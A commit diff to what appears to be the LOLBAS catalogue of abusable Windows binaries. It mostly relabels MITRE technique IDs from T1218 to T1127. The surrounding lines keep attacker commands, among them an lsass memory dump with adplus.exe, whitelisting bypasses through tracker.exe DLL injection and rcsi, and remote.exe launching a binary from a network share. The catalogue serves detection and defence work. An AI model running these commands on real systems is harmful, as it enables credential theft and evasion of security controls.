More changes (mainly changing generic T1218 to dev-specific T1127)

yml/OtherMSBinaries/Adplus.yml

@@ -2,7 +2,7 @@
 Name: adplus.exe
 Description: Debugging tool included with Windows Debugging Tools
 Author: mr.d0x
-Created: 1/9/2021
+Created: 2021-09-01
 Commands:
   - Command: adplus.exe -hang -pn lsass.exe -o c:\users\mr.d0x\output\folder -quiet
     Description: Creates a memory dump of the lsass process

yml/OtherMSBinaries/Cdb.yml

@@ -9,7 +9,7 @@ Commands:
     Usecase: Local execution of assembly shellcode.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
   - Command: |
      cdb.exe -pd -pn <process_name>
@@ -18,7 +18,7 @@ Commands:
     Usecase: Run a shell command under a trusted Microsoft signed binary
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
   - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe

yml/OtherMSBinaries/Csi.yml

@@ -9,7 +9,7 @@ Commands:
     Usecase: Local execution of unsigned C# code.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
   - Path: c:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csi.exe

yml/OtherMSBinaries/Devtoolslauncher.yml

@@ -9,14 +9,14 @@ Commands:
     Usecase: Execute any binary with given arguments and it will call developertoolssvc.exe. developertoolssvc is actually executing the binary. https://i.imgur.com/Go7rc0I.png
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows 7 and up with VS/VScode installed
   - Command: devtoolslauncher.exe LaunchForDebug [PATH_TO_BIN] "argument here" test
     Description: The above binary will execute other binary.
     Usecase: Execute any binary with given arguments.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows 7 and up with VS/VScode installed
 Full_Path:
   - Path: 'c:\windows\system32\devtoolslauncher.exe'

yml/OtherMSBinaries/Dnx.yml

@@ -9,7 +9,7 @@ Commands:
     Usecase: Local execution of C# project stored in consoleapp folder.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
   - Path: N/A

yml/OtherMSBinaries/Dxcap.yml

@@ -9,7 +9,7 @@ Commands:
     Usecase: Local execution of a process as a subprocess of Dxcap.exe
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
   - Path: C:\Windows\System32\dxcap.exe

yml/OtherMSBinaries/Mftrace.yml

@@ -9,14 +9,14 @@ Commands:
     Usecase: Local execution of cmd.exe as a subprocess of Mftrace.exe.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
   - Command: Mftrace.exe powershell.exe
     Description: Launch cmd.exe as a subprocess of Mftrace.exe.
     Usecase: Local execution of powershell.exe as a subprocess of Mftrace.exe.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
   - Path: C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x86

yml/OtherMSBinaries/Ntdsutil.yml

@@ -1,6 +1,6 @@
 ---
 Name: ntdsutil.exe
-Description: Command line utility used to export Actove Directory.
+Description: Command line utility used to export Active Directory.
 Author: 'Tony Lambert'
 Created: 2020-01-10
 Commands:

yml/OtherMSBinaries/Rcsi.yml

@@ -9,14 +9,14 @@ Commands:
     Usecase: Local execution of arbitrary C# code stored in local CSX file.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
   - Command: rcsi.exe bypass.csx
     Description: Use embedded C# within the csx script to execute the code.
     Usecase: Local execution of arbitrary C# code stored in local CSX file.
     Category: AWL Bypass
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
   - Path:

yml/OtherMSBinaries/Remote.yml

@@ -9,21 +9,21 @@ Commands:
     Usecase: Executes a process under a trusted Microsoft signed binary
     Category: AWL Bypass
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem:
   - Command: Remote.exe /s "powershell.exe" anythinghere
     Description: Spawns powershell as a child process of remote.exe
     Usecase: Executes a process under a trusted Microsoft signed binary
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem:
   - Command: Remote.exe /s "\\10.10.10.30\binaries\file.exe" anythinghere
     Description: Run a remote file
     Usecase: Executing a remote binary without saving file to disk
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem:
 Full_Path:
   - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe

yml/OtherMSBinaries/Te.yml

@@ -9,7 +9,7 @@ Commands:
     Usecase: Execute Visual Basic script stored in local Windows Script Component file.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
   - Path:

yml/OtherMSBinaries/Tracker.yml

@@ -9,14 +9,14 @@ Commands:
     Usecase: Injection of locally stored DLL file into target process.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
   - Command: Tracker.exe /d .\calc.dll /c C:\Windows\write.exe
     Description: Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions.
     Usecase: Injection of locally stored DLL file into target process.
     Category: AWL Bypass
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
   - Path:

yml/OtherMSBinaries/Vsjitdebugger.yml

@@ -9,7 +9,7 @@ Commands:
     Usecase: Execution of local PE file as a subprocess of Vsjitdebugger.exe.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
   - Path: c:\windows\system32\vsjitdebugger.exe

yml/OtherMSBinaries/Wfc.yml

@@ -9,7 +9,7 @@ Commands:
     Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
     Category: AWL Bypass
     Privileges: User
-    MitreID: T1218
+    MitreID: T1127
     OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
 Full_Path:
   - Path: C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\wfc.exe